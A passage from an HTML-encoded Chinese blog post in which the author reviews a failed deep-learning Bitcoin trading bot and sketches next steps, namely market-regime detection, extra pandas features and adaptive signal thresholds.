&#x5B83;&#x4EEC;&#x65E0;&#x6CD5;&#x9002;&#x5E94;&#x3002;</p><h2 id="5%E3%80%81%E6%95%99%E8%AE%AD%EF%BC%9A%E7%AE%97%E6%B3%95%E4%BA%A4%E6%98%93%E4%B8%AD%E6%AE%8B%E9%85%B7%EF%BC%88%E4%BD%86%E5%AE%9D%E8%B4%B5%EF%BC%89%E7%9A%84%E7%9C%9F%E5%AE%9E%E6%83%85%E5%86%B5">5&#x3001;&#x6559;&#x8BAD;&#xFF1A;&#x7B97;&#x6CD5;&#x4EA4;&#x6613;&#x4E2D;&#x6B8B;&#x9177;&#xFF08;&#x4F46;&#x5B9D;&#x8D35;&#xFF09;&#x7684;&#x771F;&#x5B9E;&#x60C5;&#x51B5;</h2><p>&#x6574;&#x4E2A;&#x5B9E;&#x9A8C;&#xFF0C;&#x5C3D;&#x7BA1;&#x80AF;&#x5B9A;&#x6CA1;&#x6709;&#x8BA9;&#x6211;&#x53D8;&#x5F97;&#x5BCC;&#x6709;&#xFF0C;&#x4F46;&#x662F;&#x4E00;&#x6B21;&#x6211;&#x65E0;&#x6CD5;&#x652F;&#x4ED8;&#x7684;&#x6559;&#x80B2;&#x3002;&#x5B83;&#x5F3A;&#x8C03;&#x4E86;&#x4E00;&#x4E9B;&#x5173;&#x4E8E;&#x5C06;&#x6DF1;&#x5EA6;&#x5B66;&#x4E60;&#x5E94;&#x7528;&#x4E8E;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x7684;&#x4E25;&#x683C;&#x73B0;&#x5B9E;&#x2014;&#x2014;&#x8FD9;&#x4E9B;&#x6559;&#x8BAD;&#x73B0;&#x5728;&#x6DF1;&#x6DF1;&#x70D9;&#x5728;&#x6211;&#x7684;&#x8111;&#x6D77;&#x4E2D;&#xFF1A;</p><ul><li><strong>&#x7EB8;&#x9762;&#x4E0A;&#x7684;&#x6A21;&#x578B;&#x201C;&#x4F18;&#x79C0;&#x201D;&#x2260;&#x73B0;&#x5B9E;&#x4E2D;&#x7684;&#x53EF;&#x4EA4;&#x6613;&#x963F;&#x5C14;&#x6CD5;&#xFF1A;</strong> &#x8FD9;&#x662F;&#x6211;&#x6700;&#x5927;&#x7684;&#x3001;&#x6700;&#x75DB;&#x82E6;&#x7684;&#x6536;&#x83B7;&#x3002;&#x4E00;&#x4E2A;&#x6A21;&#x578B;&#x5728;&#x8BAD;&#x7EC3;&#x4E2D;&#x770B;&#x8D77;&#x6765;&#x975E;&#x5E38;&#x597D;&#x2014;&#x2014;&#x4F4E;&#x9A8C;&#x8BC1;&#x635F;&#x5931;&#x3001;&#x9AD8;&#x51C6;&#x786E;&#x7387;&#x3001;&#x6240;&#x6709;&#x7684;&#x597D;&#x4E1C;&#x897F;&#x2014;&#x2014;&#x4F46;&#x5982;&#x679C;&#x5B83;&#x4E0D;&#x80FD;&#x5728;&#x771F;&#x5B9E;&#x7684;&#xFF08;&#x6216;&#x73B0;&#x5B9E;&#x7684;&#x6A21;&#x62DF;&#xFF09;&#x5E02;&#x573A;&#x4E2D;&#x8D5A;&#x94B1;&#xFF0C;&#x90A3;&#x5C31;&#x6BEB;&#x65E0;&#x610F;&#x4E49;&#x3002;&#x5B66;&#x672F;&#x6307;&#x6807;&#x548C;&#x5B9E;&#x9645;&#x6536;&#x76CA;&#x4E4B;&#x95F4;&#x7684;&#x5DEE;&#x8DDD;&#x53EF;&#x80FD;&#x662F;&#x4E00;&#x4E2A;&#x6DF1;&#x6E0A;&#x3002;</li><li><strong>&#x7279;&#x5F81;&#x91CD;&#x8981;&#x6027;&#x63ED;&#x793A;&#x4E86;&#x6A21;&#x578B;&#x7684;&#xFF08;&#x6709;&#x65F6;&#x5929;&#x771F;&#xFF09;&#x504F;&#x89C1;&#xFF1A;</strong> &#x770B;&#x5230;&#x6211;&#x7684;&#x6A21;&#x578B;&#x4E25;&#x91CD;&#x4F9D;&#x8D56;&#x8FD1;&#x671F;&#x6536;&#x76CA;&#xFF1F;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x660E;&#x786E;&#x7684;&#x8FF9;&#x8C61;&#xFF0C;&#x8868;&#x660E;&#x4E86;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x8D8B;&#x52BF;&#x8DDF;&#x968F;&#x504F;&#x89C1;&#x3002;&#x73B0;&#x5728;&#xFF0C;&#x8D8B;&#x52BF;&#x8DDF;&#x968F;&#x672C;&#x8EAB;&#x5E76;&#x4E0D;&#x662F;&#x574F;&#x7684;&#xFF0C;&#x4F46;&#x5982;&#x679C;&#x90A3;&#x662F;&#x4F60;&#x7684;&#x6A21;&#x578B;&#x6240;&#x5B66;&#x5230;&#x7684;&#x5168;&#x90E8;&#xFF0C;&#x90A3;&#x4E48;&#x4F60;&#x5C06;&#x4F1A;&#x9762;&#x4E34;&#x5DE8;&#x5927;&#x7684;&#x9EBB;&#x70E6;&#x3002;&#x6211;&#x7684;&#x6A21;&#x578B;&#x5E76;&#x4E0D;&#x5982;&#x6211;&#x6240;&#x5E0C;&#x671B;&#x7684;&#x90A3;&#x6837;&#x590D;&#x6742;&#xFF1B;&#x5B83;&#x4EEC;&#x53EA;&#x662F;&#x627E;&#x5230;&#x4E86;&#x8BAD;&#x7EC3;&#x6570;&#x636E;&#x4E2D;&#x6700;&#x7B80;&#x5355;&#x7684;&#x6A21;&#x5F0F;&#xFF0C;&#x800C;&#x8FD9;&#x5E76;&#x4E0D;&#x4E00;&#x5B9A;&#x662F;&#x201C;&#x806A;&#x660E;&#x201D;&#x7684;&#x6A21;&#x5F0F;&#x3002;</li><li><strong>&#x5236;&#x5EA6;&#x53D8;&#x5316;&#x4E00;&#x5B9A;&#x4F1A;&#x6467;&#x6BC1;&#x9759;&#x6001;&#x6A21;&#x578B;&#xFF1A;</strong> &#x5E02;&#x573A;&#x662F;&#x4E00;&#x4E2A;&#x53D8;&#x8272;&#x9F99;&#x3002;&#x6628;&#x5929;&#x6709;&#x6548;&#x7684;&#x4E1C;&#x897F;&#x53EF;&#x80FD;&#x662F;&#x660E;&#x5929;&#x7684;&#x707E;&#x96BE;&#x3002;&#x5728;&#x7279;&#x5B9A;&#x5E02;&#x573A;&#x6761;&#x4EF6;&#x4E0B;&#xFF08;&#x5982;&#x7A33;&#x5B9A;&#x7684;&#x725B;&#x5E02;&#xFF09;&#x8BAD;&#x7EC3;&#x7684;&#x6A21;&#x578B;&#x53EF;&#x80FD;&#x4F1A;&#x5728;&#x8FD9;&#x4E9B;&#x6761;&#x4EF6;&#x6539;&#x53D8;&#xFF08;&#x4F60;&#x597D;&#xFF0C;&#x7A81;&#x5982;&#x5176;&#x6765;&#x7684;&#x5D29;&#x76D8;&#x6216;&#x6F2B;&#x957F;&#x7684;&#x65E0;&#x804A;&#x9707;&#x8361;&#xFF09;&#x65F6;&#xFF0C;&#x8F70;&#x7136;&#x5012;&#x584C;&#x3002;&#x9759;&#x6001;&#x6A21;&#x578B;&#x5C31;&#x50CF;&#x4E00;&#x4E2A;&#x5355;&#x4E00;&#x6280;&#x5DE7;&#x7684;&#x9A6C;&#x5339;&#x8BD5;&#x56FE;&#x8D62;&#x5F97;&#x5341;&#x9879;&#x5168;&#x80FD;&#x6BD4;&#x8D5B;&#x2014;&#x2014;&#x5B83;&#x4EEC;&#x6839;&#x672C;&#x6CA1;&#x6709;&#x9002;&#x5E94;&#x6027;&#x3002;</li></ul><p>&#x8FD9;&#x4E9B;&#x6559;&#x8BAD;&#x6E05;&#x695A;&#x5730;&#x7A81;&#x663E;&#x4E86;&#x4ECE;&#x4E00;&#x4E2A;&#x9177;&#x7684;&#x5B66;&#x672F;&#x6982;&#x5FF5;&#x5230;&#x4E00;&#x4E2A;&#x5728;&#x6DF7;&#x4E71;&#x3001;&#x4E0D;&#x53EF;&#x9884;&#x6D4B;&#x7684;&#x73B0;&#x5B9E;&#x4E16;&#x754C;&#x4E2D;&#x771F;&#x6B63;&#x6709;&#x6548;&#x7684;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x4E4B;&#x95F4;&#x7684;&#x5E7F;&#x9614;&#x800C;&#x5E38;&#x5E38;&#x5371;&#x9669;&#x7684;&#x5DEE;&#x8DDD;&#x3002;&#x8FD9;&#x662F;&#x4E00;&#x6B21;&#x8C26;&#x5351;&#x7684;&#x7ECF;&#x5386;&#xFF0C;&#x4F46;&#x5BF9;&#x4EFB;&#x4F55;&#x8BA4;&#x771F;&#x5728;&#x8FD9;&#x4E2A;&#x9886;&#x57DF;&#x73A9;&#x7684;&#x4EBA;&#x6765;&#x8BF4;&#xFF0C;&#x4E5F;&#x662F;&#x4E00;&#x4E2A;&#x6781;&#x5177;&#x542F;&#x53D1;&#x6027;&#x7684;&#x7ECF;&#x5386;&#x3002;</p><blockquote>&#x54E6;&#xFF0C;&#x8FD9;&#x771F;&#x75DB;&#x3002;&#x73B0;&#x5728;&#xFF0C;&#x6211;&#x5982;&#x4F55;&#x6784;&#x5EFA;&#x4E00;&#x4E2A;&#x66F4;&#x806A;&#x660E;&#x7684;&#x6BD4;&#x7279;&#x5E01;&#x673A;&#x5668;&#x4EBA;&#xFF1F;&#x2014;&#x2014;&#x4E0B;&#x4E00;&#x6B21;&#x8FED;&#x4EE3;<br><br>&#x6240;&#x4EE5;&#xFF0C;&#x6700;&#x521D;&#x7684;&#x7ED3;&#x679C;&#x662F;&#x4E00;&#x4E2A;&#x6253;&#x51FB;&#xFF0C;&#x6BEB;&#x65E0;&#x7591;&#x95EE;&#x3002;&#x4F46;&#x8FD9;&#x91CC;&#x6709;&#x4E2A;&#x95EE;&#x9898;&#xFF1A;&#x5B83;&#x4E0D;&#x662F;&#x6B7B;&#x80E1;&#x540C;&#x3002;&#x5982;&#x679C;&#x6709;&#x4EC0;&#x4E48;&#x7684;&#x8BDD;&#xFF0C;&#x5B83;&#x5728;&#x6211;&#x8EAB;&#x4E0A;&#x70B9;&#x71C3;&#x4E86;&#x4E00;&#x628A;&#x706B;&#xFF0C;&#x610F;&#x5916;&#x5730;&#x7ED9;&#x4E86;&#x6211;&#x4E00;&#x4E2A;&#x66F4;&#x6E05;&#x6670;&#x7684;&#x8DEF;&#x7EBF;&#x56FE;&#xFF0C;&#x4E0B;&#x4E00;&#x6B65;&#x8981;&#x5C1D;&#x8BD5;&#x4EC0;&#x4E48;&#x3002;&#x8FD9;&#x5C31;&#x662F;&#x6211;&#x4ECE;&#x201C;&#x54E6;&#xFF0C;&#x8FD9;&#x5931;&#x8D25;&#x4E86;&#x201D;&#x8F6C;&#x5411;&#x201C;&#x597D;&#x5427;&#xFF0C;&#x8BA9;&#x6211;&#x4EEC;&#x5F00;&#x59CB;&#x5DE5;&#x4F5C;&#x201D;&#x7684;&#x5730;&#x65B9;&#x3002;&#x8FD9;&#x5C31;&#x662F;&#x771F;&#x6B63;&#x7684;&#x5DE5;&#x7A0B;&#xFF0C;&#x771F;&#x6B63;&#x7684;&#x89E3;&#x51B3;&#x95EE;&#x9898;&#x7684;&#x5F00;&#x59CB;&#xFF01;</blockquote><h2 id="6%E3%80%81%E6%8E%A7%E5%88%B6%E9%87%8E%E5%85%BD%EF%BC%9A%E7%9C%9F%E6%AD%A3%E7%90%86%E8%A7%A3%E5%B8%82%E5%9C%BA%E5%88%B6%E5%BA%A6">6&#x3001;&#x63A7;&#x5236;&#x91CE;&#x517D;&#xFF1A;&#x771F;&#x6B63;&#x7406;&#x89E3;&#x5E02;&#x573A;&#x5236;&#x5EA6;</h2><p><strong>&#x95EE;&#x9898;&#xFF1A;</strong> &#x6211;&#x7684;&#x7B2C;&#x4E00;&#x4EE3;&#x6A21;&#x578B;&#x5B8C;&#x5168;&#x65E0;&#x89C6;&#x4E86;&#x66F4;&#x5E7F;&#x6CDB;&#x7684;&#x5E02;&#x573A;&#x5929;&#x6C14;&#x3002;&#x725B;&#x5E02;&#x3001;&#x718A;&#x5E02;&#x3001;&#x9707;&#x8361;&#x3001;&#x5E73;&#x9759;&#x2014;&#x2014;&#x5BF9;&#x4ED6;&#x4EEC;&#x6765;&#x8BF4;&#x90FD;&#x662F;&#x4E00;&#x6837;&#x7684;&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x5DE8;&#x5927;&#x7684;&#x9519;&#x8BEF;&#x3002;<strong>&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF1A;</strong> &#x6211;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x60F3;&#x6CD5;&#x662F;&#xFF0C;&#x201C;&#x597D;&#x5427;&#xFF0C;&#x6211;<em>&#x9700;&#x8981;</em>&#x4E00;&#x79CD;&#x68C0;&#x6D4B;&#x5F53;&#x524D;&#x5E02;&#x573A;&#x5236;&#x5EA6;&#x7684;&#x65B9;&#x6CD5;&#x3002;&#x201D;&#x5176;&#x76EE;&#x7684;&#x662F;&#x6709;&#x4E00;&#x4E2A;&#x6A21;&#x5757;&#x53EF;&#x4EE5;&#x544A;&#x8BC9;&#x6211;&#x6211;&#x4EEC;&#x73B0;&#x5728;&#x5904;&#x4E8E;&#x725B;&#x5E02;&#x3001;&#x718A;&#x5E02;&#x3001;&#x53EA;&#x662F;&#x6A2A;&#x76D8;&#xFF0C;&#x8FD8;&#x662F;&#x6781;&#x5EA6;&#x6CE2;&#x52A8;&#x3002;</p><ul><li><strong>&#x6211;&#x6253;&#x7B97;&#x5982;&#x4F55;&#x89E3;&#x51B3;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#xFF1A;</strong></li><li><strong>&#x65E7;&#x5F0F;&#x7EDF;&#x8BA1;&#xFF1A;</strong> &#x53EF;&#x4EE5;&#x4ECE;&#x6EDA;&#x52A8;&#x6CE2;&#x52A8;&#x7387;&#xFF08;&#x6700;&#x8FD1;&#x4EF7;&#x683C;&#x8DF3;&#x52A8;&#x591A;&#x5C11;&#xFF09;&#x3001;&#x5E73;&#x5747;&#x771F;&#x5B9E;&#x8303;&#x56F4;&#xFF08;ATR&#xFF09;&#x6216;&#x751A;&#x81F3;&#x53EA;&#x662F;&#x67E5;&#x770B;&#x957F;&#x671F;&#x79FB;&#x52A8;&#x5E73;&#x5747;&#x7EBF;&#x4EA4;&#x53C9;&#x5F00;&#x59CB;&#x3002;</li><li><strong>&#x7A0D;&#x5FAE;&#x66F4;&#x9AD8;&#x7EA7;&#x7684;ML&#xFF1A;</strong> &#x6216;&#x8005;&#xFF0C;&#x6211;&#x53EF;&#x4EE5;&#x8BAD;&#x7EC3;&#x4E00;&#x4E2A;&#x5355;&#x72EC;&#x7684;&#x3001;&#x66F4;&#x7B80;&#x5355;&#x7684;&#x6A21;&#x578B;&#xFF08;&#x53EF;&#x80FD;&#x662F;&#x9690;&#x9A6C;&#x5C14;&#x53EF;&#x592B;&#x6A21;&#x578B;&#xFF0C;&#x6216;&#x8005;&#x751A;&#x81F3;&#x968F;&#x673A;&#x68EE;&#x6797;&#xFF09;&#x5728;&#x5386;&#x53F2;&#x6570;&#x636E;&#x4E0A;&#xFF0C;&#x6211;&#x5DF2;&#x7ECF;&#x624B;&#x52A8;&#x6807;&#x8BB0;&#x4E86;&#x4E0D;&#x540C;&#x7684;&#x5236;&#x5EA6;&#x3002;&#x8FD9;&#x4E2A;&#x6A21;&#x578B;&#x7684;&#x4EFB;&#x52A1;&#x53EA;&#x662F;&#x9884;&#x6D4B;<em>&#x5F53;&#x524D;</em>&#x72B6;&#x6001;&#x3002;</li><li><strong>&#x4E3A;&#x4EC0;&#x4E48;&#x8FD9;&#x53EF;&#x80FD;&#x662F;&#x4E00;&#x4E2A;&#x6E38;&#x620F;&#x6539;&#x53D8;&#x8005;&#xFF1A;</strong></li><li><strong>&#x66F4;&#x806A;&#x660E;&#x7684;&#x7B56;&#x7565;&#xFF1A;</strong> &#x7136;&#x540E;&#x6211;&#x53EF;&#x4EE5;&#x6709;&#x4E0D;&#x540C;&#x7684;&#x4EA4;&#x6613;&#x6A21;&#x578B;&#x6216;&#x53C2;&#x6570;&#xFF0C;&#x6839;&#x636E;&#x5236;&#x5EA6;&#x542F;&#x52A8;&#x3002;&#x725B;&#x5E02;&#x5E02;&#x573A;&#x8D8B;&#x52BF;&#x8DDF;&#x968F;&#xFF0C;&#x5982;&#x679C;&#x662F;&#x9707;&#x8361;&#xFF0C;&#x53EF;&#x80FD;&#x67D0;&#x79CD;&#x5747;&#x503C;&#x56DE;&#x5F52;&#x3002;</li><li><strong>&#x81EA;&#x9002;&#x5E94;&#x98CE;&#x9669;&#xFF1A;</strong> &#x6211;&#x8FD8;&#x53EF;&#x4EE5;&#x8C03;&#x6574;&#x6211;&#x7684;&#x98CE;&#x9669;&#xFF0C;&#x589E;&#x52A0;&#x6216;&#x51CF;&#x5C11;&#x3002;&#x5982;&#x679C;&#x5236;&#x5EA6;&#x68C0;&#x6D4B;&#x5668;&#x5C16;&#x53EB;&#x201C;&#x9AD8;&#x6CE2;&#x52A8;&#x6027;&#xFF01;&#x201D;&#xFF0C;&#x5219;&#x8F83;&#x5C0F;&#x7684;&#x8D4C;&#x6CE8;&#x548C;&#x66F4;&#x5BBD;&#x7684;&#x6B62;&#x635F;&#x3002;</li><li><strong>&#x65B0;&#x7279;&#x5F81;&#x7684;&#x529B;&#x91CF;&#xFF1A;</strong> &#x68C0;&#x6D4B;&#x5230;&#x7684;&#x5236;&#x5EA6;&#x672C;&#x8EAB;&#xFF1F;&#x8FD9;&#x53EF;&#x4EE5;&#x6210;&#x4E3A;&#x6211;&#x4E3B;&#x8981;&#x9884;&#x6D4B;&#x6A21;&#x578B;&#x7684;&#x4E00;&#x4E2A;&#x8D85;&#x7EA7;&#x5F3A;&#x5927;&#x7684;&#x65B0;&#x7279;&#x5F81;&#x3002;</li></ul><p><strong>(&#x6211;&#x4F1A;&#x5728;GitHub&#x4E0A;&#x5206;&#x4EAB;&#x6211;&#x7684;&#x5236;&#x5EA6;&#x68C0;&#x6D4B;&#x5B9E;&#x9A8C;&#x4EE3;&#x7801;&#xFF01;)</strong></p><h2 id="7%E3%80%81%E8%B6%85%E8%B6%8A%E4%BB%B7%E6%A0%BC%E4%B8%8E%E6%88%90%E4%BA%A4%E9%87%8F%EF%BC%9A%E7%94%A8%E9%AB%98%E7%BA%A7%E7%89%B9%E5%BE%81%E5%B7%A5%E7%A8%8B%E6%8C%96%E6%8E%98%E9%BB%84%E9%87%91">7&#x3001;&#x8D85;&#x8D8A;&#x4EF7;&#x683C;&#x4E0E;&#x6210;&#x4EA4;&#x91CF;&#xFF1A;&#x7528;&#x9AD8;&#x7EA7;&#x7279;&#x5F81;&#x5DE5;&#x7A0B;&#x6316;&#x6398;&#x9EC4;&#x91D1;</h2><p><strong>&#x95EE;&#x9898;&#xFF1A;</strong> &#x90A3;&#x4E9B;&#x521D;&#x59CB;&#x7684;17&#x4E2A;&#x6280;&#x672F;&#x6307;&#x6807;&#xFF1F;&#x5B83;&#x4EEC;&#x4E4B;&#x6240;&#x4EE5;&#x662F;&#x6807;&#x51C6;&#x7684;&#xFF0C;&#x662F;&#x6709;&#x539F;&#x56E0;&#x7684;&#xFF0C;&#x4F46;&#x6211;&#x6000;&#x7591;&#x5B83;&#x4EEC;&#x5E76;&#x6CA1;&#x6709;&#x6355;&#x6349;&#x5230;&#x8DB3;&#x591F;&#x7684;&#x5FAE;&#x5999;&#x5E02;&#x573A;&#x4F4E;&#x8BED;&#x3002;</p><p><strong>&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF1A;</strong> &#x8FD9;&#x8BA9;&#x6211;&#x60F3;&#x5230;&#xFF1A;&#x6211;&#x9700;&#x8981;&#x66F4;&#x6DF1;&#x5165;&#x5730;&#x6316;&#x6398;&#x6211;&#x7684;&#x7279;&#x5F81;&#x3002;&#x6211;&#x6B63;&#x5728;&#x7814;&#x7A76;&#x66F4;&#x590D;&#x6742;&#x7684;&#x4FE1;&#x53F7;&#xFF0C;&#x7279;&#x522B;&#x662F;&#x4E0E;&#x5E02;&#x573A;&#x5FAE;&#x89C2;&#x7ED3;&#x6784;&#xFF08;&#x4EA4;&#x6613;&#x662F;&#x5982;&#x4F55;&#x5B9E;&#x9645;&#x53D1;&#x751F;&#x7684;&#xFF09;&#x548C;&#x957F;&#x671F;&#x8D8B;&#x52BF;&#x52A8;&#x6001;&#x76F8;&#x5173;&#x7684;&#x3002;</p><pre><code># &#x4E00;&#x4E9B;&#x6211;&#x6B63;&#x5728;&#x63A2;&#x7D22;&#x7684;&#x65B0;&#x7279;&#x5F81;&#x7684;&#x6982;&#x5FF5;&#x6027;&#x60F3;&#x6CD5;&#x3002;  

# &#x5E02;&#x573A;&#x5FAE;&#x89C2;&#x7ED3;&#x6784;&#xFF08;&#x5982;&#x679C;&#x65E0;&#x6CD5;&#x83B7;&#x5F97;&#x5B8C;&#x6574;&#x7684;&#x8BA2;&#x5355;&#x7C3F;&#x6570;&#x636E;&#xFF09;&#xFF1A;  
# df[&apos;bid_ask_spread_proxy&apos;] = (df[&apos;High&apos;] - df[&apos;Low&apos;]) / df[&apos;Close&apos;]   
# df[&apos;volume_imbalance&apos;] = (df[&apos;Volume&apos;] - df[&apos;Volume&apos;].rolling(window=20).mean()) / df[&apos;Volume&apos;].rolling(window=20).std()  

# &#x611F;&#x53D7;&#x66F4;&#x5927;&#x7684;&#x753B;&#x9762; - &#x66F4;&#x957F;&#x671F;&#x7684;&#x8D8B;&#x52BF;&#x5F3A;&#x5EA6;&#xFF1A;  
# df[&apos;trend_strength_200&apos;] = (df[&apos;Close&apos;] - df[&apos;Close&apos;].rolling(window=200).mean()) / df[&apos;Close&apos;].rolling(window=200).std()
</code></pre><ul><li><strong>&#x5E02;&#x573A;&#x5FAE;&#x89C2;&#x7ED3;&#x6784;&#x7EBF;&#x7D22;&#xFF1A;</strong> &#x50CF;<code>bid_ask_spread_proxy</code>&#xFF08;&#x6D41;&#x52A8;&#x6027;&#x7684;&#x4E00;&#x4E2A;&#x7C97;&#x7565;&#x8861;&#x91CF;&#xFF09;&#x6216;<code>volume_imbalance</code>&#xFF08;&#x73B0;&#x5728;&#x662F;&#x5426;&#x6709;&#x66F4;&#x591A;&#x7684;&#x4E70;&#x65B9;&#x6216;&#x5356;&#x65B9;&#x538B;&#x529B;&#xFF1F;&#xFF09;&#x8FD9;&#x6837;&#x7684;&#x7279;&#x5F81;&#x53EF;&#x4EE5;&#x8BA9;&#x6211;&#x66F4;&#x597D;&#x5730;&#x4E86;&#x89E3;&#x975E;&#x5E38;&#x77ED;&#x671F;&#x7684;&#x884C;&#x52A8;&#x3002;&#x771F;&#x6B63;&#x7684;&#x8BA2;&#x5355;&#x7C3F;&#x6570;&#x636E;&#x662F;&#x68A6;&#x60F3;&#xFF0C;&#x4F46;&#x90A3;&#x662F;&#x53E6;&#x4E00;&#x4E2A;&#x5C42;&#x6B21;&#x7684;&#x590D;&#x6742;&#x6027;&#xFF08;&#x548C;&#x6210;&#x672C;&#xFF09;&#x3002;</li><li><strong>&#x653E;&#x5927;&#x4EE5;&#x83B7;&#x53D6;&#x4E0A;&#x4E0B;&#x6587;&#xFF1A;</strong> &#x50CF;<code>trend_strength_200</code>&#xFF08;&#x5F53;&#x524D;&#x4EF7;&#x683C;&#x8DDD;&#x79BB;&#x5176;200&#x5C0F;&#x65F6;&#x5E73;&#x5747;&#x4EF7;&#x6709;&#x591A;&#x8FDC;&#xFF0C;&#x8C03;&#x6574;&#x4E86;&#x6CE2;&#x52A8;&#x6027;&#xFF1F;&#xFF09;&#x8FD9;&#x6837;&#x7684;&#x4E1C;&#x897F;&#x53EF;&#x4EE5;&#x5E2E;&#x52A9;&#x6A21;&#x578B;&#x770B;&#x5230;&#x68EE;&#x6797;&#x800C;&#x4E0D;&#x88AB;&#x6811;&#x6728;&#x8FF7;&#x60D1;&#xFF0C;&#x5E76;&#x53EF;&#x80FD;&#x963B;&#x6B62;&#x5B83;&#x8BD5;&#x56FE;&#x9006;&#x6D41;&#x800C;&#x4E0A;&#x3002;</li></ul><h2 id="8%E3%80%81%E4%BB%8E%E5%9B%BA%E5%AE%9A%E8%A7%84%E5%88%99%E5%88%B0%E6%B5%81%E5%8A%A8%E9%80%BB%E8%BE%91%EF%BC%9A%E8%AE%A9%E6%88%91%E7%9A%84%E9%98%88%E5%80%BC%E5%8A%A8%E6%80%81%E5%8C%96">8&#x3001;&#x4ECE;&#x56FA;&#x5B9A;&#x89C4;&#x5219;&#x5230;&#x6D41;&#x52A8;&#x903B;&#x8F91;&#xFF1A;&#x8BA9;&#x6211;&#x7684;&#x9608;&#x503C;&#x52A8;&#x6001;&#x5316;</h2><p><strong>&#x95EE;&#x9898;&#xFF1A;</strong> &#x6211;&#x4F7F;&#x7528;&#x7684;&#x56FA;&#x5B9A;&#x4FE1;&#x53F7;&#x9608;&#x503C;&#xFF08;&#x6BD4;&#x5982;&#xFF0C;&#x5982;&#x679C;&#x6982;&#x7387;&gt;0.6&#x5C31;&#x4E70;&#x5165;&#xFF0C;&#x5982;&#x679C;&lt;0.4&#x5C31;&#x5356;&#x51FA;&#xFF09;&#xFF1F;&#x56DE;&#x5934;&#x770B;&#xFF0C;&#x5B83;&#x4EEC;&#x611F;&#x89C9;&#x975E;&#x5E38;&#x968F;&#x610F;&#x548C;&#x50F5;&#x786C;&#x3002;&#x5E02;&#x573A;&#x4E0D;&#x662F;&#x56FA;&#x5B9A;&#x7684;&#xFF0C;&#x4E3A;&#x4EC0;&#x4E48;&#x6211;&#x7684;&#x51B3;&#x7B56;&#x89C4;&#x5219;&#x5E94;&#x8BE5;&#x662F;&#x56FA;&#x5B9A;&#x7684;&#xFF1F;&#x8FD9;&#x611F;&#x89C9;&#x50CF;&#x662F;&#x7528;&#x4E00;&#x4E2A;&#x975E;&#x5E38;&#x7C97;&#x7CD9;&#x7684;&#x5DE5;&#x5177;&#x6765;&#x5B8C;&#x6210;&#x4E00;&#x4EF6;&#x7CBE;&#x7EC6;&#x7684;&#x5DE5;&#x4F5C;&#x3002;</p><p><strong>&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF1A;</strong> &#x6240;&#x4EE5;&#xFF0C;&#x4E0B;&#x4E00;&#x6B65;&#x662F;&#x8BA9;&#x8FD9;&#x4E9B;&#x9608;&#x503C;&#x66F4;&#x667A;&#x80FD;&#xFF0C;&#x66F4;&#x9002;&#x5E94;&#x3002;&#x6211;&#x5E0C;&#x671B;&#x5B83;&#x4EEC;&#x6839;&#x636E;&#x6A21;&#x578B;&#x5F53;&#x524D;&#x7684;&#x81EA;&#x4FE1;&#x7A0B;&#x5EA6;&#xFF0C;&#x6216;&#x8005;&#x6839;&#x636E;&#x5E02;&#x573A;&#x6CE2;&#x52A8;&#x6027;&#x6765;&#x53D8;&#x5316;&#x3002;</p><pre><code># &#x518D;&#x6B21;&#xFF0C;&#x53EA;&#x662F;&#x5BF9;&#x81EA;&#x9002;&#x5E94;&#x9608;&#x503C;&#x7684;&#x60F3;&#x6CD5;&#x7684;&#x8349;&#x7387;&#x60F3;&#x6CD5;&#x3002;  

# &#x793A;&#x4F8B;&#xFF1A;&#x8BA9;&#x9608;&#x503C;&#x4F9D;&#x8D56;&#x4E8E;&#x6700;&#x8FD1;&#x7684;&#x6A21;&#x578B;&#x4FE1;&#x5FC3;  
# recent_predictions = get_the_model_outputs_from_the_last_few_hours()  
# long_threshold = np.percentile(recent_predictions, 75) # &#x53EA;&#x6709;&#x5728;&#x6700;&#x8FD1;&#x7684;25%&#x7684;&#x4FE1;&#x5FC3;&#x8303;&#x56F4;&#x5185;&#x624D;&#x884C;&#x52A8;  
# short_threshold = np.percentile(recent_predictions, 25) # &#x6216;&#x8005;&#x5728;&#x5E95;&#x90E8;25%&#x8FDB;&#x884C;&#x505A;&#x7A7A;
</code></pre><ul><li><strong>&#x4FE1;&#x5FC3;&#x662F;&#x5173;&#x952E;&#xFF1A;</strong> &#x8FD9;&#x6837;&#xFF0C;&#x6A21;&#x578B;&#x53EA;&#x6709;&#x5728;&#x5B83;&#x7684;&#x4FE1;&#x5FF5;&#x6BD4;&#x5B83;&#x6700;&#x8FD1;&#x7684;&#x8868;&#x73B0;&#x66F4;&#x9AD8;&#x65F6;&#x624D;&#x4F1A;&#x884C;&#x52A8;&#x3002;&#x5982;&#x679C;&#x5B83;&#x901A;&#x5E38;&#x4E0D;&#x786E;&#x5B9A;&#xFF0C;&#x5B83;&#x9700;&#x8981;&#x66F4;&#x5F3A;&#x7684;&#x4FE1;&#x53F7;&#x3002;</li><li><strong>&#x6CE2;&#x52A8;&#x6027;&#x4F5C;&#x4E3A;&#x6307;&#x5357;&#xFF1A;</strong> &#x53E6;&#x4E00;&#x4E2A;&#x89D2;&#x5EA6;&#x662F;&#x8BA9;&#x4E2D;&#x6027;&#x533A;&#x57DF;&#x5728;&#x5E02;&#x573A;&#x52A8;&#x8361;&#x65F6;&#x66F4;&#x5BBD;&#x3002;&#x57FA;&#x672C;&#x4E0A;&#xFF0C;&#x5728;&#x6DF7;&#x4E71;&#x7684;&#x73AF;&#x5883;&#x4E2D;&#x8981;&#x6C42;&#x6A21;&#x578B;&#x7ED9;&#x51FA;&#x66F4;&#x6E05;&#x6670;&#x7684;&#x4FE1;&#x53F7;&#x3002;</li></ul><h2 